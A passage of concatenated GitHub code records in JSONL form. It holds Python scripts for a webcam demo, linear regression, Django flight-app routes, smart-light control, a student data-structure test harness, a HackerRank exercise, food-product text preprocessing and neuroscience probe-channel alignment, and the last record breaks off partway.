class_names[cur_id] + \", \"\n '{:.1f} %'.format(cur_prob * 100.), (0, int(height / 16)),\n cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 0), 2)\n cv2.putText(label, '{:.2f} fps'.format(cur_fps),\n (width - 170, int(height / 16)), cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (0, 0, 0), 2)\n frame = np.concatenate((frame, label), axis=0)\n cv2.imshow('', frame)\n\n\nif __name__ == '__main__':\n main(None)\n","repo_name":"irvingzhang0512/finetune_for_human","sub_path":"webcam_demo.py","file_name":"webcam_demo.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30871896822","text":"from pathlib import Path\nfrom linear_regression import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.linear_model import LinearRegression as SKLR\nimport pandas as pd\nfrom sklearn.preprocessing import LabelBinarizer\n\ndata_path = Path(Path(__file__).parent) / 'data'\n\n\ndef get_X_y(filename):\n data = pd.read_csv(data_path / filename)\n data['sex_oh'] = LabelBinarizer().fit_transform(data['sex'])\n data['smoker_oh'] = LabelBinarizer().fit_transform(data['smoker'])\n X = data[['sex_oh', 'age', 'bmi', 'children', 'smoker_oh']]\n y = data['charges']\n\n return X, y\n\nX_train, y_train = get_X_y('insurance_train.csv')\nX_test, y_test = get_X_y('insurance_test.csv')\n#\nclf = LinearRegression().fit(X_train, y_train, epochs=1000)\ny_pred = clf.predict(X_test)\ny_pred_train = clf.predict(X_train)\n\n\nsklearn_clf = SKLR().fit(X_train, y_train)\ny_pred_sklearn = sklearn_clf.predict(X_test)\ny_pred_sklearn_train = sklearn_clf.predict(X_train)\n\nprint('sklearn LR coef', sklearn_clf.coef_)\n\nmse_own_impelementaion = mean_squared_error(y_pred, y_test)\nmse_sklearn_impelementaion = mean_squared_error(y_pred_sklearn, y_test)\ndiff = (mse_own_impelementaion - mse_sklearn_impelementaion) / mse_sklearn_impelementaion\n\nprint('own implementation MSE', mse_own_impelementaion)\nprint('sklearn prediction MSE', mse_sklearn_impelementaion)\nprint(f'MSE diff {round(diff)} %' )\n\nmse_own_impelementaion_train = mean_squared_error(y_pred_train, y_train)\nmse_sklearn_impelementaion_train = mean_squared_error(y_pred_sklearn_train, y_train)\ndiff_train = (mse_own_impelementaion_train - mse_sklearn_impelementaion_train) / mse_sklearn_impelementaion_train\n\nprint('own implementation MSE train', mse_own_impelementaion_train)\nprint('sklearn prediction MSE train', mse_sklearn_impelementaion_train)\nprint(f'MSE diff train {round(diff_train)} %' )\n\n\n\n","repo_name":"smaystr/rails_reactor","sub_path":"linear_models/09/insurance.py","file_name":"insurance.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"32139244601","text":"from django.urls import path, include\nfrom . import views\nfrom . import chat\nfrom .search import global_search\nurlpatterns = [\n path('', views.homePage, name='homepage'),\n\n path('support/', include('chat.urls'), name=\"chat_support\"),\n\n path('chat//', chat.chat_room, name=\"chat_room\"),\n\n path('flights/', views.all_flights, name=\"all_flights\"), #\n path('flights/add/', views.add_flight, name=\"add_flight\"),\n path('flights//', views.flight_details, name=\"flight_details\"),\n path('flights//change/', views.edit_flight, name=\"edit_flight\"),\n path('flights//delete/', views.delete_flight, name=\"delete_flight\"),\n path('flights//bookings/', views.flight_tickets, name=\"flight_tickets\"),\n\n path('tickets/', views.all_tickets, name=\"all_tickets\"),\n path('tickets//', views.ticket_details, name=\"ticket_details\"),\n path('tickets//change/', views.edit_ticket, name=\"edit_ticket\"),\n\n path('users/', views.all_users, name=\"all_users\"), #\n path('users//', views.user_details, name=\"user_details\"),\n path('users//change/', views.edit_user, name=\"edit_user\"),\n\n\n\n path('login/', views.loginManager, name=\"loginManager\"),\n path('logout/', views.logoutManager, name=\"logoutManager\"),\n\n path('airports/', views.all_airports, name=\"all_airports\"),\n path('airports/add/', views.add_airports, name=\"add_airports\"),\n path('airports//', views.airport_details, name=\"airport_details\"),\n path('airports//change/', views.edit_airport, name=\"edit_airports\"),\n\n \n path('payments/', views.all_payments, name=\"all_payments\"),\n\n path('search/', global_search, name=\"search\"),\n\n]","repo_name":"FakeCoder01/flight-managemen-system","sub_path":"manage/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"27551600240","text":"from typing import Dict, Any\n\nfrom lights.actions.light_action import LightAction\nfrom lights.light_controller.light_controller import LightController\nfrom lights.messages import utils\nfrom lights.settings import settings\n\n\nclass SetBrightness(LightAction):\n def __init__(self):\n self.light_controller = LightController()\n super().__init__(method=self.light_controller.set_brightness)\n self._payload = None\n\n def evaluate_payload(self, payload: Dict[str, Any]) -> bool:\n \"\"\"\n Check if payload is type {'state': 'ON', 'brightness': int}\n :raises: IncorrectPayloadException if state or brightness have wrong\n value\n \"\"\"\n has_state = utils.message_has_state(payload)\n has_brightness = utils.message_has_brightness(payload)\n keys = payload.keys()\n\n if not has_state or not has_brightness or len(keys) > 2:\n return False\n\n if payload[settings.Messages.STATE] == settings.Messages.ON:\n self._payload = payload\n self.arguments = [payload.get(settings.Messages.BRIGHTNESS)]\n return True\n\n return False\n\n def execute(self):\n self.light_controller.state_on()\n super().execute()\n","repo_name":"siadajpan/lights","sub_path":"lights/actions/set_brightness_action.py","file_name":"set_brightness_action.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36783583489","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 16 17:14:24 2021\n\n@author: pradyumna agrawal\n\"\"\"\n\nfrom linkedKList import DSALinkedList\nfrom DSAHashEntry import DSAHashEntry\nfrom DSAHash import DSAHash\nfrom DSAGraphWithEdge import DSAGraph, DSAGraphVertex, DSAGraphEdge\nfrom DSAHeap import DSAHeap\nfrom Game import Game\n\ndef UnitTestDSAHeap(score):\n \n #test - 1: create a heap of length 10\n try:\n h = DSAHeap(10)\n score += 1\n except:\n print('test 1 failed')\n \n #test 2 - add to Heap \n try:\n h.add(5, 'E')\n h.add(2, 'B')\n h.add(6, 'F')\n score += 1\n except:\n print('test 2 failed')\n \n #test 3 - return count\n if h.returnCount() == 3:\n score += 1\n \n #test 4 - add to an already full heap\n h = DSAHeap(2)\n try:\n h.add(2, 'B')\n h.add(5, 'E')\n h.add(1, 'A')\n except:\n score += 1\n \n #test 5 - delete from a heap\n try:\n h.remove()\n score += 1\n except:\n print('test 5 failed')\n \n #test 6 - remove from heap and check its value\n if h.remove().getPriority() == 2:\n score += 1\n \n #test 7 - remove from NULL heap\n try:\n h.remove()\n h.remove()\n except:\n score += 1\n \n #test 8 - get heap array\n h.add(6, 'R')\n h.add(1, 'S')\n if h.getHeapArray()[1].getPriority() == 1:\n score += 1\n \n #test 9 - see if top element of the array changes\n h = DSAHeap(5)\n h.add(7, 'F')\n if h.getHeapArray()[0].getPriority() == 7:\n h.add(30, 'L')\n if h.getHeapArray()[0].getPriority() == 30:\n score += 1\n \n return score\ndef UnitTestDSALinkedList(score):\n \n L = DSALinkedList()\n \n #Test - 10: try adding elements in the beginning\n try:\n L.insertFirst(30)\n L.insertFirst(40)\n L.insertFirst(20)\n score += 1\n \n except:\n print('failed unit test 10')\n\n #Test - 11: try adding elements in the last\n try:\n L.insertLast(30)\n L.insertLast(40)\n L.insertLast(20)\n score += 1\n \n except:\n print('failed unit test 11')\n \n #test - 12 and 13: try peekfirst and peeklast\n if L.peekFirst() == 20:\n score += 1\n if L.peekLast() == 20:\n score += 1\n\n # test - 14: remove first\n L.removeFirst()\n if L.removeFirst() == 40:\n score += 1\n \n # test - 15: remove last\n L.removeLast()\n if L.removeLast() == 40:\n score += 1\n \n #test - 16: checking get count\n if L.getCount() == 2:\n score += 1\n \n return score\n\ndef UnitTestDSAHashEntry(score):\n h = DSAHashEntry()\n \n #test - 17: checking state getter\n h.setData('A', 10)\n if h.getState() == 1:\n score += 1\n\n #test - 18: checking key getter\n if h.getKey() == 'A':\n score += 1\n \n #test - 19: checking data getter\n if h.getValue() == 10:\n score += 1\n return score\n\ndef UnitTestDSAHash(score):\n newHash = DSAHash(20)\n \n #test - 20: checking put function\n try:\n newHash.put(\"red\", 10)\n newHash.put(\"green\", 20)\n newHash.put(\"orange\", 30)\n newHash.put(\"blue\", 40)\n newHash.put(\"white\", 60)\n score += 1\n except:\n print('test 20 failed')\n \n #test - 21: adding a key thats already added\n try:\n newHash.put(\"white\", 60)\n except:\n score += 1\n \n #test - 22: search a key in hash\n if newHash.hasKey(\"orange\") == True:\n score += 1\n \n #test - 23: search a key not in hash\n if newHash.hasKey('Ivory') == False:\n score += 1\n \n #test - 24: checking delete key\n newHash.deleteKey(\"orange\")\n if newHash.hasKey(\"orange\") == False:\n score += 1\n \n #test - 25: checking getData\n if newHash.getData('blue') == 40:\n score += 1\n \n #test - 26: update data\n newHash.updateData('blue', 60)\n if newHash.getData('blue') == 60:\n score += 1\n return score\n\ndef UnitTestDSAGraphVertex(score):\n \n #test - 27: create vertices\n try:\n A = DSAGraphVertex('A', 1)\n B = DSAGraphVertex('B', 2)\n C = DSAGraphVertex('C', 3)\n D = DSAGraphVertex('D', 4)\n score += 1\n except:\n print('test 27 failed')\n\n #test - 28: get label\n if A.getLabel() == 'A':\n score += 1\n \n #test - 29: get Data\n if A.getData() == 1:\n score += 1\n \n #test - 30: update data\n B.updateData(5)\n if B.getData() == 5:\n score += 1\n \n #test - 31: add adjacent\n try: \n B.addAdjacent(A, 10)\n B.addAdjacent(C, 10)\n B.addAdjacent(D, 10)\n score += 1\n except:\n print('test 31 failed')\n \n #test - 32: get adjacent list\n L = B.getAdjacentList()\n if L.peekFirst().vertex.getLabel() == 'A':\n score += 1\n \n return score\n\ndef UnitTestDSAGraphEdge(score):\n \n #test 33: check weight getter\n V = DSAGraphVertex('V', 2)\n E = DSAGraphEdge(V, 10)\n if E.getWeight() == 10:\n score += 1\n \n #test 34: check set weight\n E.setWeight(20)\n if E.getWeight() == 20:\n score += 1\n \n return score\n\ndef UnitTestDSAGraph(score):\n G = DSAGraph()\n \n #test 35: Adding vertex\n try:\n G.addVertex('A', 1)\n G.addVertex('B', 2)\n G.addVertex('C', 3)\n score += 1\n except:\n print('test 35 failed')\n \n #test 36 - checking hasVertex()\n if G.hasVertex('A') == True and G.hasVertex('H') == False:\n score += 1\n \n #test 37 - checking getVertex\n V = G.getVertex('A')\n if V.getLabel() == 'A':\n score += 1\n\n #test 38 - checking deleteVertex\n G.deleteVertex('A')\n if G.hasVertex('A') == False:\n score += 1\n \n #test 39 - check getVertexCount\n if G.getVertexCount() == 2:\n score += 1\n \n #test 40 and 41 - check addEdge and isAdjacent\n G.addEdge('B', 'C', 10)\n if G.isAdjacent('B', 'C') == True:\n score += 2\n \n #test 42 - check getAdjacent\n A = G.getAdjacent('B')\n if A.peekFirst().vertex.getLabel() == 'C':\n score += 1\n \n #test 43 and 44 - check deleteEdge and isAdjacent\n G.deleteEdge('B', 'C')\n if G.isAdjacent('B', 'C') == False:\n score += 2\n \n #test 45 and 46 - check updateEdge and getEdgeWeight\n G.addEdge('B', 'C', 10)\n G.updateEdge('B', 'C', 15)\n if G.getEdgeWeight('B', 'C') == 15:\n score += 2\n \n #test 47 - check getEdgeCount\n if G.getEdgeCount() == 1:\n score += 1\n \n # test 48 - check displayMatrix\n #print(G.displayMatrix()) #Visually confirmed. remove '#' to confirm yourself \n score += 1\n \n # test 49 - check findPaths with just one path\n # graph: A - > B - > C\n G.addVertex('A', 5)\n G.addEdge('A', 'B', 2)\n path = G.findPaths(G.getVertex('A'), G.getVertex('C'))\n if str(path) == 'ABC':\n score += 1\n \n #test 50 - check findPaths with more than one path\n #graph: A -> B -> C\n # A -> D -> C\n G.addVertex('D', 5)\n G.addEdge('A', 'D', 3)\n G.addEdge('D', 'C', 2)\n path = G.findPaths(G.getVertex('A'), G.getVertex('C'))\n path1 = path.removeFirst()\n path2 = path.removeFirst()\n if str(path1) == 'ABC' and str(path2) == 'ADC':\n score += 1\n #only add score when both paths are getting printed. \n \n return score\n\ndef UnitTestGame(score):\n #test 51 - trying creating graph with a non existing file\n \n try:\n game = Game('yipeeKayYay.txt')\n except FileNotFoundError:\n score += 1\n \n #test 52 - trying creating a graph with no Start node\n try:\n game = Game('catwithoutstart.txt')\n except KeyError:\n score += 1\n \n #test 53 - trying creating a graph with an empty file\n try:\n game = Game('emptyFile.txt')\n except ValueError:\n score += 1\n\n #test 54 - create a graph with acceptable file\n try:\n game = Game('gameofcatz.txt')\n score += 1\n except:\n print('case 54 failed')\n \n\n #test 55 - check _lookForNode(ndLabel)\n print('\\nTest Case 55')\n print('---'*5, '\\n')\n game._lookForNode('A')\n game._lookForNode('Z')\n score += 1 #visually verified\n \n #test 56 - check _addNode(ndLabel, Ncode) with valid arguments\n game._addNode('Z', '-')\n print('\\nTest Case 56')\n print('---'*5, '\\n')\n game._lookForNode('Z')\n score += 1 #visually verified\n \n #test 57 - check _addNode(ndLabel, Ncode) with invalid NCode\n game._addNode('W', 'W')\n print('\\nTest Case 57')\n print('---'*5, '\\n')\n game._lookForNode('W')\n score += 1 #visually verified\n \n #test 58 - check _deleteNode(ndLabel) with valid Node\n game._deleteNode('B')\n print('\\nTest Case 58')\n print('---'*5, '\\n')\n game._lookForNode('B')\n score += 1 #visually verified\n \n #test 59 - check _deleteNode(ndLabel) with Start/Target node (A)\n #note - in my implementation, deleting a start/target node is not permittable. \n print('\\nTest Case 59')\n print('---'*5, '\\n')\n game._deleteNode('A')\n game._lookForNode('A')\n score += 1 #visually verified\n \n #test 60 - check _updateNode(ndLabel, Ncode) with valid arguments\n print('\\nTest Case 60')\n print('---'*5, '\\n')\n game._updateNode('A', 'T')\n game._lookForNode('A')\n score += 1 #visually verified\n \n #test 61 - check _updateNode(ndLabel, Ncode) with invalid Node\n print('\\nTest Case 61')\n print('---'*5, '\\n')\n game._updateNode('X', 'T')\n score += 1 #visually verified\n \n #test 62 - check _updateNode(ndLabel, Ncode) with invalid Ncode\n print('\\nTest Case 62')\n print('---'*5, '\\n')\n game._updateNode('A', 'X')\n score += 1 #visually verified\n \n #test 63 - check _lookEdge(ndLabel1, ndLabel2) with valid nodes\n print('\\nTest Case 63')\n print('---'*5, '\\n')\n game._lookEdge('A', 'E')\n score += 1 #visually verified\n \n #test 64 - check _lookEdge(ndLabel1, ndLabel2) with valid nodes but no edge\n print('\\nTest Case 64')\n print('---'*5, '\\n')\n game._lookEdge('A', 'C')\n score += 1 #visually verified\n \n #test 65 - check _lookEdge(ndLabel1, ndLabel2) with invalid nodes\n print('\\nTest Case 65')\n print('---'*5, '\\n')\n game._lookEdge('X', 'C')\n score += 1 #visually verified\n \n #test 66 - check _addEdge(ndLabel1, ndLabel2, Ecode) with valid argument\n print('\\nTest Case 66')\n print('---'*5, '\\n')\n game._addEdge('A', 'C', '-')\n game._lookEdge('A', 'C')\n score += 1 #visually verified\n \n #test 67 - check _addEdge(ndLabel1, ndLabel2, Ecode) with invalid node\n print('\\nTest Case 67')\n print('---'*5, '\\n')\n game._addEdge('X', 'C', '-')\n score += 1 #visually verified\n \n #test 68 - check _addEdge(ndLabel1, ndLabel2, Ecode) with invalid Ecode\n print('\\nTest Case 68')\n print('---'*5, '\\n')\n game._addEdge('A', 'D', '@')\n score += 1 #visually verified\n \n #test 69 - check _addEdge(ndLabel1, ndLabel2, Ecode) when edge already exists\n print('\\nTest Case 69')\n print('---'*5, '\\n')\n game._addEdge('A', 'C', '-')\n score += 1 #visually verified\n \n #test 70 - check _deleteEdge(ndLabel1, ndLabel2) with valid arguments\n print('\\nTest Case 70')\n print('---'*5, '\\n')\n game._deleteEdge('A', 'C')\n game._lookEdge('A', 'C') #to check if actually deleted\n score += 1 #visually verified\n \n #test 71 - check _deleteEdge(ndLabel1, ndLabel2) with valid nodes with no edge\n print('\\nTest Case 71')\n print('---'*5, '\\n')\n game._deleteEdge('A', 'C')\n score += 1 #visually verified\n \n #test 72 - check _deleteEdge(ndLabel1, ndLabel2) with invalid node\n print('\\nTest Case 72')\n print('---'*5, '\\n')\n game._deleteEdge('A', 'X')\n score += 1 #visually verified\n \n #test 73 - check _updateEdge(ndLabel1, ndLabel2, Ecode) with valid arguments\n print('\\nTest Case 73')\n print('---'*5, '\\n')\n game._updateEdge('A', 'E', '-')\n score += 1 #visually verified\n \n #test 74 - check _updateEdge(ndLabel1, ndLabel2, Ecode) with invalid Ecode\n print('\\nTest Case 74')\n print('---'*5, '\\n')\n game._updateEdge('A', 'E', '@')\n score += 1 #visually verified\n \n #test 75 - check _updateEdge(ndLabel1, ndLabel2, Ecode) with valid nodes but no edge between them\n print('\\nTest Case 75')\n print('---'*5, '\\n')\n game._updateEdge('A', 'F', '-')\n score += 1 #visually verified\n \n #test 76 - check _updateEdge(ndLabel1, ndLabel2, Ecode) with invalid node\n print('\\nTest Case 76')\n print('---'*5, '\\n')\n game._updateEdge('A', 'X', '-')\n score += 1 #visually verified\n \n #test 77 - check _addNcode(Ncode, value) with valid arguments\n print('\\nTest Case 77')\n print('---'*5, '\\n')\n game._addNcode('$', 10)\n score += 1 #visually verified\n \n #test 78 - check _addNcode(Ncode, value) with non-int value\n print('\\nTest Case 78')\n print('---'*5, '\\n')\n game._addNcode('$', 'E')\n score += 1 #visually verified\n \n #test 79 - check _addNcode(Ncode, value) with already existing Ncode\n print('\\nTest Case 79')\n print('---'*5, '\\n')\n game._addNcode('T', 10)\n score += 1 #visually verified\n \n #test 80 - check _updateNcode(Ncode, value) with valid arguments\n print('\\nTest Case 80')\n print('---'*5, '\\n')\n game._updateNcode('T', 10)\n score += 1 #visually verified\n \n #test 81 - check _updateNcode(Ncode, value) with non-int value\n print('\\nTest Case 81')\n print('---'*5, '\\n')\n game._updateNcode('$', 'E')\n score += 1 #visually verified\n \n #test 82 - check _updateNcode(Ncode, value) with non-existing Ncode\n print('\\nTest Case 82')\n print('---'*5, '\\n')\n game._updateNcode('!', 10)\n score += 1 #visually verified\n \n #test 83 - check _addEcode(Ecode, value) with valid arguments\n print('\\nTest Case 83')\n print('---'*5, '\\n')\n game._addEcode('$', 10)\n score += 1 #visually verified\n \n #test 84 - check _addEcode(Ecode, value) with non-int value\n print('\\nTest Case 84')\n print('---'*5, '\\n')\n game._addEcode('$', 'E')\n score += 1 #visually verified\n \n #test 85 - check _addNcode(Ecode, value) with already existing Ecode\n print('\\nTest Case 85')\n print('---'*5, '\\n')\n game._addEcode('$', 10)\n score += 1 #visually verified\n \n #test 86 - check _updateNcode(Ecode, value) with valid arguments\n print('\\nTest Case 86')\n print('---'*5, '\\n')\n game._updateEcode('$', 20)\n score += 1 #visually verified\n \n #test 87 - check _updateNcode(Ecode, value) with non-int value\n print('\\nTest Case 87')\n print('---'*5, '\\n')\n game._updateEcode('$', 'E')\n score += 1 #visually verified\n \n #test 88 - check _updateNcode(Ecode, value) with non-existing Ecode\n print('\\nTest Case 88')\n print('---'*5, '\\n')\n game._updateEcode('!', 10)\n score += 1 #visually verified\n \n #test 89 - check _setStart(newStart) with existing Node\n print('\\nTest Case 89')\n print('---'*5, '\\n')\n game._setStart('C')\n score += 1 #visually verified\n \n #test 90 - check _setStart(newStart) with non-existing Node\n print('\\nTest Case 90')\n print('---'*5, '\\n')\n game._setStart('S')\n score += 1 #visually verified\n \n #test 91 - check _setTarget(newTarget) with existing Node\n print('\\nTest Case 91')\n print('---'*5, '\\n')\n game._setTarget('D')\n score += 1 #visually verified\n \n #test 92 - check _setTarget(newTarget) with non-existing Node\n print('\\nTest Case 92')\n print('---'*5, '\\n')\n game._setTarget('S')\n score += 1 #visually verified\n \n #test 93 - check _displayGraph(f, toSave) with no fileobj and toSave = '0'\n print('\\nTest Case 93')\n print('---'*5, '\\n')\n game._displayGraph(None, False)\n score += 1 #visually verified\n\n #test 94 - check generateRoutes() and _displayRoutes(number, toSave, file) with 3 routes\n print('\\nTest Case 94')\n print('---'*5, '\\n')\n game.generateRoutes()\n game._displayRoutes('-a', False, None)\n score += 1 #visually verified\n \n #test 94 - check generateRoutes() and _displayRoutes(number, toSave, file) with all routes\n print('\\nTest Case 95')\n print('---'*5, '\\n')\n game.generateRoutes()\n game._displayRoutes('-a', False, None)\n score += 1 #visually verified\n return score\n\n \ndef main():\n score = 0\n score = UnitTestDSAHeap(score)\n score = UnitTestDSALinkedList(score)\n score = UnitTestDSAHashEntry(score)\n score = UnitTestDSAHash(score)\n score = UnitTestDSAGraphVertex(score)\n score = UnitTestDSAGraphEdge(score)\n score = UnitTestDSAGraph(score)\n score = UnitTestGame(score)\n print('--------'*5, '\\n')\n print(score, 'test passed')\n print('95 tests are enough for today. have a good night')\n print('\\nsee yall on campus soon\\n')\n print('--------'*5, '\\n')\n \n \nif __name__ == '__main__':\n main()","repo_name":"pradayumna/DSA","sub_path":"Assignment/testHarness.py","file_name":"testHarness.py","file_ext":"py","file_size_in_byte":17234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5445298593","text":"#Initialize the dictionary\nphonebook= dict()\nn= int(input())\nfor i in range(n):\n # read both input and they are splited by space as mentioned\n name,number = input().split()\n #assigning th evalue to the name\n phonebook[name] = number\n\nfor j in range(n):\n name=input()\n if name in phonebook:\n #formating as required\n print('{}={}'.format(name,phonebook[name]))\n else:\n print(\"Not found\")\n","repo_name":"ShubhamGulia/ShubhamsRoom","sub_path":"Hackerrank(30_days_of_code)/Day8__Dictionaries_and_Maps.py","file_name":"Day8__Dictionaries_and_Maps.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25503071252","text":"#This class represents the methods for preprocessing (cleansing) the dataset:\r\n#1- dedupe\r\n#2-merging the dataframes\r\n#3-formating the columns\r\n#4-natural language processing\r\nimport numpy as np\r\nimport pandas as pd\r\nimport re\r\n\r\n#Natural Language Processing libraries imports\r\nimport nltk\r\nfrom nltk.tokenize import RegexpTokenizer\r\nfrom nltk.stem import WordNetLemmatizer,PorterStemmer\r\nfrom nltk.corpus import stopwords\r\nimport nltk; nltk.download('stopwords')\r\nfrom nltk import word_tokenize\r\nfrom nltk.corpus import stopwords\r\n#import fasttext\r\n\r\nps = nltk.porter.PorterStemmer()\r\nstop_words = stopwords.words('english')\r\nstop_words.extend(['from', 'subject', 're', 'edu', 'use'])\r\n\r\n\r\n\r\nclass preprocessing:\r\n\r\n\r\n def dedupe (self, df):\r\n '''\r\n clean up from duplicate product names and barcodes\r\n '''\r\n for i in ['barcode']:\r\n df[i]=df[i].astype('str')\r\n df['is_duplicated']=df.duplicated(i)\r\n df=df.drop_duplicates([i], keep='first')\r\n return (df)\r\n\r\n\r\n def merge(self, new, full):\r\n '''\r\n add columns from the previous full file\r\n create a combined dataframe\r\n '''\r\n columns_to_add = ['barcode','manufacturer', 'packunits', '100units', 'saturates_level', 'salt_level', 'sugar_level']\r\n combined=pd.merge(new, full[columns_to_add], how = 'left', left_on='barcode', right_on='barcode')\r\n return combined\r\n\r\n def format_fields (self, df):\r\n '''\r\n format barcodes as strings\r\n '''\r\n df['sub_other'] = df['sub_category_name'].astype(str) + '_' + df['product_category_name'].astype(str)\r\n df['ingredients'] = df['ingredients'].replace(\"\\|\", \" \", regex=True)\r\n df['packunits'] = df['packunits'].replace('Millilitres', 'ml').replace('Grams', 'g')\r\n df['item_type'] = np.where((df['packunits'] == 'ml'), 'drink', 'food')\r\n replace_values = {'P1' : 101, 'P2' : 102, 'P3' : 103, 'P4' : 104, 'P5' : 105, 'P6' : 106, 'P7' : 107, 'P8' : 108, 'P9' : 109,\r\n 'p2' : 102, 'p5' : 105, 'p1' : 101}\r\n\r\n for col in ['main_category', 'sub_category_1', 'sub_category_2']:\r\n df[col] = df[col].replace('Check', 0, regex=True).replace('07l17', 0, regex=True).replace('PHE Sticker ', 0, regex=True).replace('P1', 101).replace('09>p1', 0)\r\n df[col].fillna(0)\r\n\r\n df['sub_category_2'] = df['sub_category_2'].replace(replace_values)\r\n df['sub_category_2'] = df['sub_category_2'].astype(float)\r\n\r\n df['high_five_man_label'] = df['saturates_level'].astype(str) + df['sugar_level'].astype(str) + df['salt_level'].astype(str)\r\n df['high_five_man'] = np.where((df['high_five_man_label'] == 'LowLowLow'), 1, 0)\r\n\r\n columns_list = ['fat_100', 'fat_serving', 'saturates_100', 'saturates_serving', 'sugar_100',\r\n 'sugar_serving', 'salt_100', 'salt_serving']\r\n\r\n for col in columns_list:\r\n df[col] = df[col].replace('<', '', regex=True).replace(['0', '0.0'], 0.0, regex=False).replace(['0..1'], 0.1, regex=False).astype(float)\r\n for value in df[col].values:\r\n value = re.sub(\"[^\\d\\.]\", \"\", str(value))\r\n\r\n df_prep = df[['barcode', 'product_name', 'manufacturer', 'category', 'sugar_100', 'fat_100',\r\n 'salt_100', 'fibre_100', 'saturates_100', 'cals_100', 'sugar_serving',\r\n 'fat_serving', 'salt_serving', 'fibre_serving', 'saturates_serving',\r\n 'cals_serving', 'packsize', 'packunits', 'packcount', 'ingredients', 'badge_new',\r\n 'company_name', 'scans', 'main_category', 'saturates_level',\r\n 'sub_category_1', 'sub_category_2', 'main_and_sub1', 'sugar_level',\r\n 'main_category_name', 'sub_category_name', 'source_name', 'salt_level',\r\n 'product_category_name','high_five_man']]\r\n\r\n cols_types = {'barcode': str, 'product_name': str, 'manufacturer':str, 'category': str, 'sugar_100': float, 'fat_100': float,\r\n 'salt_100': float, 'fibre_100': float, 'saturates_100': float, 'cals_100': float, 'sugar_serving': float,\r\n 'fat_serving': float, 'salt_serving': float, 'fibre_serving': float, 'saturates_serving': float,\r\n 'cals_serving': float, 'packsize': float, 'packcount': float, 'ingredients': str, 'badge_new': float,\r\n 'company_name': str, 'scans': float, 'main_category': str, 'sub_category_1': str, 'sub_category_2': str,\r\n 'main_and_sub1': str, 'main_category_name': str, 'sub_category_name': str, 'source_name': float,\r\n 'product_category_name': str,'high_five_man':float}\r\n df_prep = df_prep.astype(cols_types)\r\n\r\n percent_missing = df_prep.isnull().sum() * 100 / len(df_prep)\r\n count_missing = df_prep.isnull().sum()\r\n missing_values_df = pd.DataFrame({'column_name': df_prep.columns,\r\n 'percent_missing': percent_missing,\r\n 'count_missing' : count_missing})\r\n missing_values_df = missing_values_df.sort_values(by = ['percent_missing'], ascending = False)\r\n df_prep.fillna(0, inplace=True)\r\n\r\n\r\n return df_prep\r\n\r\n def nlp_process (self, df, cols_to_tokens):\r\n '''\r\n Generating NL-processed DataFrame\r\n '''\r\n df['product_name'] = df[\"product_name\"].str.replace(\"\\s:pmp|PMP|£\", \"\")\r\n df['product_name'] = df[\"product_name\"].str.replace(\"(\\d+)(?:p)'\", \"\")\r\n def preprocess (sentence):\r\n #Change to lowercase\r\n sentence=str(sentence).lower()\r\n #tokenizing the sentences.\r\n #Reducing the words to their stems\r\n tokenizer = RegexpTokenizer(r'\\w+')\r\n tokens = tokenizer.tokenize(sentence)\r\n stems =' '.join([ps.stem(word) for word in tokens]) #stemmatize\r\n filtered_words = [w for w in tokens if len(w) > 2 if not w in stop_words] #remove stopwords\r\n return \" \".join(filtered_words)\r\n\r\n for i in cols_to_tokens:\r\n df[str(i)+'_clean']=df[i].apply(preprocess)\r\n return df\r\n","repo_name":"ukhsa-collaboration/foodscanner_compute","sub_path":"phe-swaps-module/phe_recommender/phe_recommender/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":6244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33574790164","text":"import np_session\nimport pathlib\nimport json\nimport pandas as pd\nimport SimpleITK as sitk\nimport numpy as np\nfrom np_probes.utils import get_probe_metrics_path\nimport uuid\n\ndef clean_region(region:str) -> str:\n if pd.isna(region):\n return 'No Area'\n else:\n return region\n\ndef get_annotation_volume() -> np.ndarray:\n ccf_annotation_array = sitk.GetArrayFromImage(sitk.ReadImage(pathlib.Path('//allen/programs/mindscope/workgroups/np-behavior/tissuecyte/', \n 'field_reference', 'ccf_ano.mhd')))\n\n return ccf_annotation_array\n\ndef get_day(session:np_session.Session) -> str:\n if 'Data2' in str(session.npexp_path):\n npexp_path = session.storage_dirs[1] / session.id\n else:\n npexp_path = session.npexp_path\n\n session_directory = npexp_path.parent\n sessions_mouse = sorted(list(session_directory.glob('DRpilot*{}*'.format(session.mouse))))\n day = [i + 1 for i in range(len(sessions_mouse)) if str(session.id) in str(sessions_mouse[i])][0]\n return str(day)\n\ndef get_channels_info_for_probe(current_probe:str, probe_id:int, session:np_session.Session, id_json_dict:dict[str, list]) -> list:\n channels = []\n\n \"\"\"\n if len(id_json_dict['channel_ids']) > 0:\n channel_id = id_json_dict['channel_ids'][-1] + 1\n else:\n channel_id = probe_id\n \"\"\"\n # get channel dataframe\n mouse_id = str(session.mouse)\n probe = current_probe[-1]\n day = get_day(session)\n\n ccf_alignment_path = pathlib.Path('//allen/programs/mindscope/workgroups/np-behavior/tissuecyte', mouse_id, \n 'Probe_{}_channels_{}_warped.csv'.format(probe+day, mouse_id))\n if ccf_alignment_path.exists():\n df_ccf_coords = pd.read_csv(ccf_alignment_path)\n\n ccf_annotation_array = get_annotation_volume()\n\n vertical_position = 20\n horizontal_position_even = [43, 59]\n horizontal_position = horizontal_position_even[0]\n horizontal_position_even_index = 0\n horizontal_position_odd = [11, 27]\n horizontal_position_odd_index = 0\n\n for index, row in 